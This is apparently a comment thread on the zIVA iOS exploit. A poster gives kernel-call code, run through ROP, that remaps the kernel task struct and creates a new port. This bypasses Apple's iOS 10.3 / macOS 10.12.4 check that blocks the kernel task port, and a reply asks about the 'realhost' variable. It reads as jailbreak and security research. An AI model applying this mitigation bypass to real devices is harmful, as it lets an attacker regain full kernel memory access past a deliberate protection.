Sadly I don't have a dev device on iOS 10, but for anyone playing around with zIVA caring about the kernel task port:
Starting with iOS 10.3 (and macOS 10.12.4), Apple changed convert_port_to_locked_task
(and a few other port-to-something conversion functions) to blacklist the kernel task by means of a direct check. As a result, you can still obtain the kernel task port, but almost all APIs will simply treat it like MACH_PORT_NULL
, thus rendering it useless. The check is a simple pointer comparison though, so it can be circumvented by just remapping the task struct at an additional virtual address and creating a new port from that with a ROP equivalent of:
vm_map_remap(
kernel_map,
&remap_addr,
sizeof(task_t),
0,
VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR,
zone_map,
kernel_task,
false,
&dummy,
&dummy,
VM_INHERIT_NONE
);
mach_vm_wire(&realhost, kernel_map, remap_addr, sizeof(task_t), VM_PROT_READ | VM_PROT_WRITE);
realhost.special[4] = ipc_port_make_send(ipc_port_alloc_special(ipc_space_kernel));
ipc_kobject_set(realhost.special[4], remap_addr, IKOT_TASK);
Notes:
- I successfully tested this on macOS 10.12.4 and 10.12.5, so I'm not 100% sure it'll work unmodified on iOS, but it should in theory.
- I'm not sure if
mach_vm_wire
is required or not, but I'm sure it works when it's there. - I'm still not sure why
kernel_map
doesn't work inzone_map
's place - it looks to me likevm_map_remap
should work recursively, but I haven't had time to investigate this further.
That's all I can add for now, take it if it helps you or enlighten me if there is more to it on iOS. :)
Hey @Siguza how do you get the variable 'realhost' ?
Thanks for this writeup